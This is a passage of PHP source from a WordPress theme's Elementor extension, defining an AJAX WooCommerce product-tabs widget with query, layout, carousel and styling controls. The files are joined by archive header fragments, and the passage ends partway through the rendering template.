namespace PenciSoledadElementor\Modules\QueryControl\Controls;

use Elementor\Control_Select2;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Query extends Control_Select2 {

	public function get_type() {
		return 'query';
	}

	protected function get_default_settings() {
		return array_merge(
			parent::get_default_settings(), [
				'query' => '',
			]
		);
	}
}
PK     1w\Xօ      /  elementor/modules/penci-product-tabs/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductTabs;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_tabs';
	}

	public function get_widgets() {
		return array( 'PenciProductTabs' );
	}
}
PK     1w\Iϳs  s  C  elementor/modules/penci-product-tabs/widgets/penci-product-tabs.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductTabs\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductTabs extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_products_tabs';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' AJAX Products Tabs', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-tabs';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'title',
			[
				'label'   => esc_html__( 'Tabs title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Title text example',
			]
		);

		$this->add_control(
			'product_label_hot',
			[
				'label'        => esc_html__( 'Hidden Hot Label', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'none',
				'selectors'    => [
					'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.featured' => 'display:{{VALUE}}',
				],
			]
		);

		$this->add_control(
			'product_label_new',
			[
				'label'        => esc_html__( 'Hidden New Label', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'none',
				'selectors'    => [
					'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.new' => 'display:{{VALUE}}',
				],
			]
		);

		$this->add_control(
			'product_label_sale',
			[
				'label'        => esc_html__( 'Hidden Sale Label', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'none',
				'selectors'    => [
					'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.onsale' => 'display:{{VALUE}}',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Tabs settings.
		 */
		$this->start_controls_section(
			'tabs_content_section',
			[
				'label' => esc_html__( 'Tabs', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'content_tabs' );

		$repeater->start_controls_tab(
			'query_tab',
			[
				'label' => esc_html__( 'Query', 'soledad' ),
			]
		);

		$repeater->add_control(
			'post_type',
			[
				'label'       => esc_html__( 'Data source', 'soledad' ),
				'description' => esc_html__( 'Select content type for your grid.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'product',
				'options'     => array(
					'product'            => esc_html__( 'All Products', 'soledad' ),
					'featured'           => esc_html__( 'Featured Products', 'soledad' ),
					'sale'               => esc_html__( 'Sale Products', 'soledad' ),
					'new'                => esc_html__( 'Products with NEW label', 'soledad' ),
					'bestselling'        => esc_html__( 'Bestsellers', 'soledad' ),
					'ids'                => esc_html__( 'List of IDs', 'soledad' ),
					'top_rated_products' => esc_html__( 'Top Rated Products', 'soledad' ),
					'recent_viewed'      => esc_html__( 'Recent Viewed Products', 'soledad' ),
				),
			]
		);

		$repeater->add_control(
			'include',
			[
				'label'       => esc_html__( 'Include only', 'soledad' ),
				'description' => esc_html__( 'Add products by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'taxonomies',
			[
				'label'       => esc_html__( 'Categories or tags', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => array_merge( [ 'product_cat', 'product_tag' ], $this->get_product_attributes_array() ),
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'orderby',
			[
				'label'       => esc_html__( 'Order by', 'soledad' ),
				'description' => esc_html__( 'Select order type. If "Meta value" or "Meta value Number" is chosen then meta key is required.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''               => '',
					'date'           => esc_html__( 'Date', 'soledad' ),
					'id'             => esc_html__( 'ID', 'soledad' ),
					'author'         => esc_html__( 'Author', 'soledad' ),
					'title'          => esc_html__( 'Title', 'soledad' ),
					'modified'       => esc_html__( 'Last modified date', 'soledad' ),
					'comment_count'  => esc_html__( 'Number of comments', 'soledad' ),
					'menu_order'     => esc_html__( 'Menu order', 'soledad' ),
					'meta_value'     => esc_html__( 'Meta value', 'soledad' ),
					'meta_value_num' => esc_html__( 'Meta value number', 'soledad' ),
					'rand'           => esc_html__( 'Random order', 'soledad' ),
					'price'          => esc_html__( 'Price', 'soledad' ),
				),
			]
		);

		$repeater->add_control(
			'offset',
			[
				'label'       => esc_html__( 'Offset', 'soledad' ),
				'description' => esc_html__( 'Number of grid elements to displace or pass over.', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'query_type',
			[
				'label'   => esc_html__( 'Query type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'OR',
				'options' => array(
					'OR'  => esc_html__( 'OR', 'soledad' ),
					'AND' => esc_html__( 'AND', 'soledad' ),
				),
			]
		);

		$repeater->add_control(
			'order',
			[
				'label'       => esc_html__( 'Sort order', 'soledad' ),
				'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->add_control(
			'meta_key',
			[
				'label'       => esc_html__( 'Meta key', 'soledad' ),
				'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'condition'   => [
					'orderby' => [ 'meta_value', 'meta_value_num' ],
				],
			]
		);

		$repeater->add_control(
			'exclude',
			[
				'label'       => esc_html__( 'Exclude', 'soledad' ),
				'description' => esc_html__( 'Exclude posts, pages, etc. by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'text_tab',
			[
				'label' => esc_html__( 'Text', 'soledad' ),
			]
		);

		$repeater->add_control(
			'title',
			[
				'label'   => esc_html__( 'Tabs title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Tab title',
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'icon_tab',
			[
				'label' => esc_html__( 'Icon', 'soledad' ),
			]
		);

		$repeater->add_control(
			'image',
			[
				'label' => esc_html__( 'Choose image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);

		$repeater->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'thumbnail',
				'separator' => 'none',
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'tabs_items',
			[
				'type'        => Controls_Manager::REPEATER,
				'title_field' => '{{{ title }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'title' => 'Tab title 1',
					],
					[
						'title' => 'Tab title 2',
					],
					[
						'title' => 'Tab title 3',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Style tab.
		 */
		/**
		 * Heading settings.
		 */
		$this->start_controls_section(
			'heading_style_section',
			[
				'label' => esc_html__( 'Heading', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'design',
			[
				'label'   => esc_html__( 'Design', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'default' => esc_html__( 'Style 1', 'soledad' ),
					'simple'  => esc_html__( 'Style 2', 'soledad' ),
					'alt'     => esc_html__( 'Style 3', 'soledad' ),
				],
				'default' => 'default',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'tab_title_typo',
				'label'    => __( 'Tab Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-products-tabs .tabs-name > span',
			)
		);

		$this->add_control(
			'tab_title_color',
			[
				'label'     => esc_html__( 'Tabs Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .tabs-name > span' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_title_boder_color',
			[
				'label'     => esc_html__( 'Tabs Title Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs.tabs-design-simple .tabs-name' => 'border-color: {{VALUE}}',
				],
				'condition' => [
					'design' => [ 'simple' ],
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'tab_label_typo',
				'label'    => __( 'Label Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label',
			)
		);

		$this->add_control(
			'tab_label_color',
			[
				'label'     => esc_html__( 'Tabs Label Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_label_hover_color',
			[
				'label'     => esc_html__( 'Tabs Label Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label:hover, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:hover' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_label_hover_border_color',
			[
				'label'     => esc_html__( 'Tabs Label Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .tab-label:hover:after, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:hover:after' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'design' => [ 'default', 'alt' ],
				],
			]
		);

		$this->add_control(
			'tab_label_active_color',
			[
				'label'     => esc_html__( 'Tabs Label Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-products-tabs .products-tabs-title .active-tab-title .tab-label, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .active-tab-title .tab-label' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tab_label_active_border_color',
			[
				'label'     => esc_html__( 'Tabs Label Active Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .tabs-design-default .products-tabs-title .tab-label:after, {{WRAPPER}} .penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:after' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'design' => [ 'default', 'alt' ],
				],
			]
		);

		$this->add_control(
			'alignment',
			[
				'label'     => esc_html__( 'Align', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
				'default'   => 'center',
				'condition' => [
					'design' => 'default',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Products layout settings.
		 */
		$this->start_controls_section(
			'products_layout_style_section',
			[
				'label' => esc_html__( 'Products Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'layout',
			[
				'label'   => esc_html__( 'Layout', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'grid',
				'options' => array(
					'grid'     => esc_html__( 'Grid', 'soledad' ),
					'list'     => esc_html__( 'List', 'soledad' ),
					'carousel' => esc_html__( 'Carousel', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'product_horizontal_spacing',
			[
				'label'      => esc_html__( 'Horizontal space between items', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => '',
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 1,
					],
				],
				'condition'  => [
					'layout' => [ 'grid', 'carousel' ],
				],
				'selectors'  => [
					'{{WRAPPER}} .product-layout-grid ul.products'            => 'margin-left: -{{SIZE}}{{UNIT}}!important;margin-right: -{{SIZE}}{{UNIT}}!important;',
					'{{WRAPPER}} .product-layout-grid ul.products li.product' => 'padding-left: {{SIZE}}{{UNIT}}!important;padding-right: {{SIZE}}{{UNIT}}!important;',
				],
			]
		);

		$this->add_responsive_control(
			'product_vertical_spacing',
			[
				'label'      => esc_html__( 'Vertical space between items', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => '',
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 1,
					],
				],
				'condition'  => [
					'layout' => [ 'grid', 'list' ],
				],
				'selectors'  => [
					'{{WRAPPER}} .product-layout-grid ul.products li.product'                                                                                                                                                                           => 'margin-bottom: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .products.product-list .penci-soledad-product .penci-product-loop-inner-content'                                                                                                                                       => 'margin-bottom: {{SIZE}}{{UNIT}};padding-bottom: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers' => 'margin-top: calc( -25px - {{SIZE}}px );',
				],
			]
		);

		$this->add_responsive_control(
			'columns',
			[
				'label'       => esc_html__( 'Columns', 'soledad' ),
				'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 4,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 6,
						'step' => 1,
					],
				],
				'condition'   => [
					'layout' => 'grid',
				],
				'selectors'  => [
					'{{WRAPPER}} .product-layout-grid ul.products li.product'  => 'width: calc(100%/{{SIZE}});',
				],
			]
		);

		$this->add_control(
			'items_per_page',
			[
				'label'       => esc_html__( 'Items per page', 'soledad' ),
				'description' => esc_html__( 'Number of items to show per page.', 'soledad' ),
				'default'     => 12,
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'pagination',
			[
				'label'     => esc_html__( 'Pagination', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''              => esc_html__( 'Inherit', 'soledad' ),
					'loadmore'      => esc_html__( 'Load more button', 'soledad' ),
					'infinit'       => esc_html__( 'Infinit scrolling', 'soledad' ),
					'links'         => esc_html__( 'Links', 'soledad' ),
					'next_previous' => esc_html__( 'Next/Previous', 'soledad' ),
					'none'          => esc_html__( 'Hidden', 'soledad' ),
				),
				'condition' => [
					'layout!' => 'carousel',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section(
			'carousel_style_section',
			[
				'label'     => esc_html__( 'Carousel Settings', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'layout' => 'carousel',
				],
			]
		);

		$this->add_responsive_control(
			'slides_per_view',
			[
				'label'       => esc_html__( 'Slides per view', 'soledad' ),
				'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 3,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 8,
						'step' => 1,
					],
				],
			]
		);

		$this->add_control(
			'scroll_per_page',
			[
				'label'        => esc_html__( 'Scroll per page', 'soledad' ),
				'description'  => esc_html__( 'Scroll per page not per item. This affect next/prev buttons and mouse/touch dragging.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'false',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'true',
			]
		);

		$this->add_control(
			'hide_pagination_control',
			[
				'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
				'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->add_control(
			'hide_prev_next_buttons',
			[
				'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
				'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->add_control(
			'wrap',
			[
				'label'        => esc_html__( 'Slider loop', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay',
			[
				'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'false',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'true',
			]
		);

		$this->add_control(
			'speed',
			[
				'label'       => esc_html__( 'Slider speed', 'soledad' ),
				'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
				'default'     => '5000',
				'type'        => Controls_Manager::NUMBER,
				'condition'   => [
					'autoplay' => 'yes',
				],
			]
		);

		$this->add_control(
			'scroll_carousel_init',
			[
				'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
				'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.\'', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'true',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'false',
			]
		);

		$this->end_controls_section();

		/**
		 * Products design settings.
		 */
		$this->start_controls_section(
			'products_design_style_section',
			[
				'label' => esc_html__( 'Products Design', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'product_style',
			[
				'label'     => esc_html__( 'Products hover', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''         => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'standard' => 'Default',
					'style-1'  => 'Style 1',
					'style-2'  => 'Style 2',
					'style-3'  => 'Style 3',
					'style-4'  => 'Style 4',
					'style-5'  => 'Style 5',
					'style-6'  => 'Style 6',
					'style-7'  => 'Style 7',
				),
				'condition' => [
					'layout!' => 'list',
				],
			]
		);

		$this->add_control(
			'icon_style',
			[
				'label'   => esc_html__( 'Icon Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''      => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'round' => 'Separate Round',
					'group' => 'Group in Rectangle',
				),
			]
		);

		$this->add_control(
			'icon_position',
			[
				'label'   => esc_html__( 'Icon Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''              => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'top-left'      => 'Top left',
					'top-right'     => 'Top Right',
					'bottom-left'   => 'Bottom Left',
					'bottom-right'  => 'Bottom Right',
					'center-top'    => 'Center Top',
					'center-center' => 'Center Center',
					'center-bottom' => 'Center Bottom',
				),
			]
		);

		$this->add_control(
			'icon_animation',
			[
				'label'   => esc_html__( 'Icon Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''            => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
					'move-left'   => 'Move to left',
					'move-right'  => 'Move to Right',
					'move-top'    => 'Move to Top',
					'move-bottom' => 'Move to Bottom',
					'fade'        => 'Fade In',
					'zoom'        => 'Zoom In',
				),
			]
		);

		$this->add_control(
			'img_size',
			[
				'label'   => esc_html__( 'Image size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'woocommerce_thumbnail',
				'options' => $this->get_list_image_sizes( 'elementor' ),
			]
		);

		$this->add_control(
			'img_size_custom',
			[
				'label'       => esc_html__( 'Image dimension', 'soledad' ),
				'type'        => Controls_Manager::IMAGE_DIMENSIONS,
				'description' => esc_html__( 'You can crop the original image size to any custom size. You can also set a single value for height or width in order to keep the original size ratio.', 'soledad' ),
				'condition'   => [
					'img_size' => 'custom',
				],
			]
		);

		$this->add_control(
			'stock_progress_bar',
			[
				'label'        => esc_html__( 'Stock progress bar', 'soledad' ),
				'description'  => esc_html__( 'Display a number of sold and in stock products as a progress bar.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
			]
		);

		$this->add_control(
			'product_categories',
			[
				'label'        => esc_html__( 'Show Product Categories', 'soledad' ),
				'description'  => esc_html__( 'Display a product categories list under product title.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
			]
		);

		$this->add_control(
			'product_rating',
			[
				'label'        => esc_html__( 'Show Product Rating', 'soledad' ),
				'description'  => esc_html__( 'Display a product star rating under product title.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
			]
		);

		$this->add_control(
			'product_quantity',
			[
				'label'     => esc_html__( 'Quantity input on product', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''        => esc_html__( 'Inherit', 'soledad' ),
					'enable'  => esc_html__( 'Enable', 'soledad' ),
					'disable' => esc_html__( 'Disable', 'soledad' ),
				),
				'condition' => [
					'product_hover' => [ 'standard', 'quick' ],
				],
			]
		);

		$this->end_controls_section();

		$this->register_product_style();
	}

	/**
	 * Get attribute taxonomies
	 *
	 * @since 1.0.0
	 */
	public function get_product_attributes_array() {
		$attributes = [];

		foreach ( wc_get_attribute_taxonomies() as $attribute ) {
			$attributes[] = 'pa_' . $attribute->attribute_name;
		}

		return $attributes;
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		include dirname( __FILE__ ) . "/products_tabs_temple.php";
		penci_elementor_products_tabs_template( $this->get_settings_for_display() );
	}
}
PK     1w\m264  4  E  elementor/modules/penci-product-tabs/widgets/products_tabs_temple.phpnu [        <?php
/**
 * Products template function
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

if ( ! function_exists( 'penci_elementor_products_tabs_template' ) ) {
	function penci_elementor_products_tabs_template( $settings ) {
		$settings = wp_parse_args( $settings, penci_custom_product_query_default_args() );

		$image_output    = '';
		$wrapper_classes = '';
		$header_classes  = '';
		$title_classes   = '';

		// Header classes.
		$settings['alignment'] = $settings['alignment'] ? $settings['alignment'] : 'center';
		$header_classes        .= ' text-' . $settings['alignment'];

		// Wrapper classes.
		$wrapper_classes .= ' tabs-design-' . $settings['design'];

		// Tabs settings.
		$first_tab_title = '';

		if ( isset( $settings['tabs_items'][0]['title'] ) ) {
			$first_tab_title = $settings['tabs_items'][0]['title'];
		}

		$allow_html_tags = array(
			'br'     => array(),
			'i'      => array(),
			'b'      => array(),
			'u'      => array(),
			'em'     => array(),
			'del'    => array(),
			'a'      => array(
				'href'   => true,
				'class'  => true,
				'target' => true,
				'title'  => true,
				'rel'    => true,
			),
			'strong' => array(),
			'span'   => array(
				'style' => true,
				'class' => true,
			),
		);
		?>
        <div class="woocommerce penci-products-tabs <?php echo esc_attr( $wrapper_classes ); ?>">
            <div class="penci-tabs-header <?php echo esc_attr( $header_classes ); ?>">
				<?php if ( $settings['title'] ) : ?>
                    <h4 class="tabs-name title">
						<?php if ( $image_output ) : ?>
							<?php echo $image_output; // phpcs:ignore ?>
						<?php endif; ?>

                        <span class="tabs-text<?php echo esc_attr( $title_classes ); ?>"
                              data-elementor-setting-key="title">
							<?php echo wp_kses( $settings['title'], $allow_html_tags ); ?>
						</span>
                    </h4>
				<?php endif; ?>

                <div class="tabs-navigation-wrapper">
					<span class="open-title-menu">
						<?php echo wp_kses( $first_tab_title, $allow_html_tags ); ?>
					</span>

                    <ul class="products-tabs-title">
						<?php foreach ( $settings['tabs_items'] as $key => $item ) : ?>
							<?php
							$li_classes        = '';
							$icon_output       = '';
							$item['elementor'] = true;
							$encoded_settings  = wp_json_encode( array_intersect_key( array_merge( $settings, $item ), penci_custom_product_query_default_args() ) );

							if ( 0 === $key ) {
								$li_classes .= ' active-tab-title';
							}

							if ( isset( $item['image']['id'] ) && $item['image']['id'] ) {
								$icon_output = '<span class="img-wrapper">' . penci_get_image_html( $item, 'image' ) . '</span>';
							}

							$unique_title = md5( $item['title'] );
							?>

